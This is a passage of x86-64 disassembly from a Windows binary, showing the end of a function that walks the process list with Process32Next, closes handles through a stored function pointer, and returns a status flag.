mov rcx, rax
call fcn.1400200f0
mov rdx, qword [0x140123078]
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call rdx
mov rdx, qword [0x140123078]
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call rdx
jmp 0x140009210
mov esi, 0
jmp 0x140009249
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x31f0]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x1400086d0
mov rdx, qword [0x140123078]
mov rax, qword [rbp + 0x31f0]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400ab8e0
cmp esi, 1
jne 0x140009262
mov ebx, 0
mov eax, ebx
jmp 0x14000ab95
add rsp, 0x3370
pop rbx
pop rsi
pop rbp
ret